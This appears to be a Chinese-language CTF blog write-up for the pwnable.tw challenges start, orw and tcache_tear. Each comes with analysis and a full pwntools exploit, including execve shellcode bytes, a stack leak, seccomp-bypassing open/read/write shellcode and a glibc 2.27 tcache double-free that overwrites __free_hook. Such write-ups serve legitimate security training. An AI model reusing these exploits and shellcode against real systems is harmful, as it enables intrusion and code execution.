pwnable.tw 持续更新
0x00 前言 pwnable的题挺好玩的,就是难度可能偏高,但是可以练基本功,知道自己的弱项在哪里,所以写WP来做刷题记录。
0x01 start 分析 这篇WP在距离第一次做这题之后一个多月时间又修改了一次,不同的是,这段时间我学了一点汇编,才发现自己之前做题还是处于很懵懂的状态。其实这道题很有意思,程序是用汇编写的,短小精悍,32位无保护。IDA有点无助,如果不熟悉汇编,可以用动调来看发生了什么。从代码上来看,就是两次系统调用,然后就会退出。第一个系统调用显然是write,第二个IDA看不出来,但是从系统调用号(al寄存器处)可以看出来是read函数。
在准备write之前,程序总共push了6次,第一次是把esp中的地址放到了栈上,然后是_exit函数的地址,接下来连续push五次放的是字符串到栈上。我们知道,每push一次sp寄存器就会自动减一个字长。接下来程序把esp的地址作为起始地址然后打印20个字节,刚好对应五次push的内容。所以如果我们定义字符串最后一个字符的地址是buf,那么esp一开始的地址就是buf+0x1C。
打印完之后ecx中的内容没变,紧接着就read60个字节。也就是说程序从buf处开始输入60字节,有溢出,因为此时buf距离ret地址只有 0x14。注意,这里和平时我们常接触的C语言编译的程序不太一样,它没有ebp的存在(整个程序都没出现),所以那个offset _exit其实就是返回地址了。我们又知道,ret完后sp寄存器会自动加一个字长,所以ret完后sp寄存器刚好指向一开始写esp值的栈地址。显然这个地址也是个栈地址,所以我们可以控制执行流,让程序返回到0x8048087处更新ecx后打印,这样我们就泄露了栈地址了。
栈地址有什么用呢?整个程序很简单,也没有后门,也没有libc这一说,所以只能通过syscall来getshell,但是又没有足够的gadget来控制寄存器,所以考虑写shellcode。正好,程序没开NX保护。shellcode只能写到栈上,所以我们需要栈地址。上一步打印完后,程序直接从当前esp处开始输入。但是这里要注意,输入完之后程序依然会执行add esp,14h和retn,所以我们需要利用这个retn返回到shellcode处。所以输入的60字节就被这个ret地址切割成了20字节和36字节。我们很难找到少于20字节的shellcode,所以shellcode要写在24个字节之后。别忘了我们接收到的地址在当前esp的地址还要+4,所以我们要返回的地址是接收到的地址再+20就行了。
如果不确定我们接收到的地址到底是哪,可以动调看看,然后手算一下。
EXP 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 from pwn import *r = process("./start" ) context(log_level="debug" , arch='i386' , os='linux' ) def launch_gdb (): context.terminal == ['xdce4-terminal' , '-x' , 'sh' , '-c' ] gdb.attach(proc.pidof(r)[0 ]) write_addr = 0x8048087 shellcode = b'\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80' r.recv() payload = b'a' *0x14 +p32(write_addr) r.send(payload) buf_addr = u32(r.recv(4 )) print (hex (buf_addr))payload = b'a' *0x14 +p32(buf_addr+0x14 )+shellcode r.send(payload) r.interactive()
0x02 orw 分析
程序十分简单,32位,就是开了一个沙盒,然后读取shellcode后执行。题目也已经提示了要用orw。我们直接用seccomp-tools查看沙盒都开了些什么。
开了些白名单,可以用这些函数,也就是说其他的用不了。程序中read函数可以输入200字节,所以直接使用pwntools的shellcraft工具来生成shellcode就行。&shellcode位于bss段,我们读取的flag也可以存在bss段,注意不要和shellcode有冲突就行。
EXP 1 2 3 4 5 6 7 8 9 10 11 12 13 14 from pwn import *r = remote('chall.pwnable.tw' , 10001 ) flag_addr = 0x804A060 +200 shellcode = shellcraft.open ('/home/orw/flag' ) shellcode += shellcraft.read(3 , flag_addr, 100 ) shellcode += shellcraft.write(1 , flag_addr, 100 ) r.recvuntil(b'shellcode:' ) r.sendline(asm(shellcode)) r.interactive()
0x03 calc 单独一篇文章分析
0x21 tcache_tear 分析 题目名字就很明显提示了要用tcachebin attack,给了libc附件,用ROPgadget工具查了一下libc中binsh的偏移,用libcdata网站查出libc是2.27版本的。
说到tcache在2.27,我的第一反应就是double free没有任何检查,后面肯定用得上。然后程序一开始就要你往bss段写一个name,info函数也只是把这个name打印出来,肯定有些倪端,应该是要拿来泄露libc地址了。free功能限制了总共只能释放8个chunk,但是有UAF漏洞,为double free奠定了基础。malloc功能限制了大小为0xFF,并且可以写入的字节数为size-0x10,所以没有堆溢出。整个程序只有一个ptr变量用来储存上一个被申请的chunk的指针,所以一旦申请了新的chunk之后,之前申请的chunk就没法再被释放了。
所以总的思路就是,先泄露libc地址,然后通过double free劫持fd申请chunk到__free_hook,写入system地址后释放一个chunk来getshell,当然这个方式有个前提是在这之前的free不能超过7个;也可以劫持malloc_hook为one_gadget;看到程序当中有个exit本来想着劫持got表为one_gadget,但是看保护开了got表不可写(full relro),所以这个方案没法实现。
泄露libc 这道题不止一种泄露方法,这里先看一种,另外一种有时间再试试。其实这题不太好leak。如果有指针变量的话就可以通过got表来泄露,很可惜这里没有。堆题里另一种常见的泄露方式是通过unsorted bin的fd泄露,所以我们可以伪造一个fake chunk释放后进入unsorted bin来打印,显而易见这个chunk要在name处构造,size要在largebin范围,因为smallbin范围会先进入tcachebin。
释放chunk的时候libc会对chunk有一些检查,我们伪造chunk的话需要绕过这些检查。源码如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 if (__glibc_unlikely (p == av->top)) malloc_printerr ("double free or corruption (top)" ); if (__builtin_expect (contiguous (av) && (char *) nextchunk >= ((char *) av->top + chunksize(av->top)), 0 )) malloc_printerr ("double free or corruption (out)" ); if (__glibc_unlikely (!prev_inuse(nextchunk))) malloc_printerr ("double free or corruption (!prev)" ); nextsize = chunksize(nextchunk); if (__builtin_expect (chunksize_nomask (nextchunk) <= 2 * SIZE_SZ, 0 ) || __builtin_expect (nextsize >= av->system_mem, 0 )) malloc_printerr ("free(): invalid next size (normal)" ); free_perturb (chunk2mem(p), size - 2 * SIZE_SZ);
总而言之就是,libc会检查被释放的chunk的下一个chunk和下下个chunk的size字段,所以总的来说要伪造三个chunk,size字段分别为0x501,0x21,0x21就可以了。0x501在程序一开始就写入,下面两个size字段就需要通过double free申请到name+0x500处写入。这里要注意一个问题,我们可以同时写入下面两个chunk,总共需要写入8*4*2个字节,但是申请一个chunk的时候只能写入size-0x10个字节,所以我们double free的size至少要0x50。
然后第二次double free就申请到name+0x10处(tcachebin链表存的是mem地址),然后释放掉之后0x501size的chunk就会进入unsorted bin,然后fd就是一个和main_arena有固定偏移的地址,打印出来就可以计算出libc地址。
代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 r.recvuntil(b'Name:' ) r.sendline(p64(0 )+p64(0x501 )) add(0x50 ) delete() delete() add(0x50 , p64(name_addr+0x500 )) add(0x50 ) add(0x50 , flat(0 , 0x21 , 0 , 0 )*2 ) add(0x70 ) delete() delete() add(0x70 , p64(name_addr+0x10 )) add(0x70 ) add(0x70 , b'deadbeef' ) delete() info() libc_address = u64(r.recvuntil(b'\x7f' )[-6 :].ljust(8 , b'\x00' ))-0x3ebca0 log.success('libc_addr:' +hex (libc_address))
EXP 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 from pwn import *context.log_level = 'debug' context.arch = 'amd64' context.os = 'linux' r = remote('chall.pwnable.tw' , 10207 ) libc = ELF('./libc.so' ) e = ELF('./tcache_tear' ) name_addr = 0x602060 def cmd (choice ): r.recvuntil(b'Your choice :' ) r.sendline(str (choice).encode()) def add (size, content=b'aaaaaaaa' ): cmd(1 ) r.recvuntil(b'Size:' ) r.sendline(str (size).encode()) r.recvuntil(b'Data:' ) r.send(content) def delete (): cmd(2 ) def info (): cmd(3 ) def exit (): cmd(4 ) r.recvuntil(b'Name:' ) r.sendline(p64(0 )+p64(0x501 )) add(0x50 ) delete() delete() add(0x50 , p64(name_addr+0x500 )) add(0x50 ) add(0x50 , flat(0 , 0x21 , 0 , 0 )*2 ) add(0x70 ) delete() delete() add(0x70 , p64(name_addr+0x10 )) add(0x70 ) add(0x70 , b'deadbeef' ) delete() info() libc_address = u64(r.recvuntil(b'\x7f' )[-6 :].ljust(8 , b'\x00' ))-0x3ebca0 log.success('libc_addr:' +hex (libc_address)) add(0x90 ) delete() delete() add(0x90 , p64(libc_address+libc.sym['__free_hook' ])) add(0x90 ) add(0x90 , p64(libc_address+libc.sym['system' ])) add(0xb0 , b'/bin/sh\x00' ) delete() r.interactive()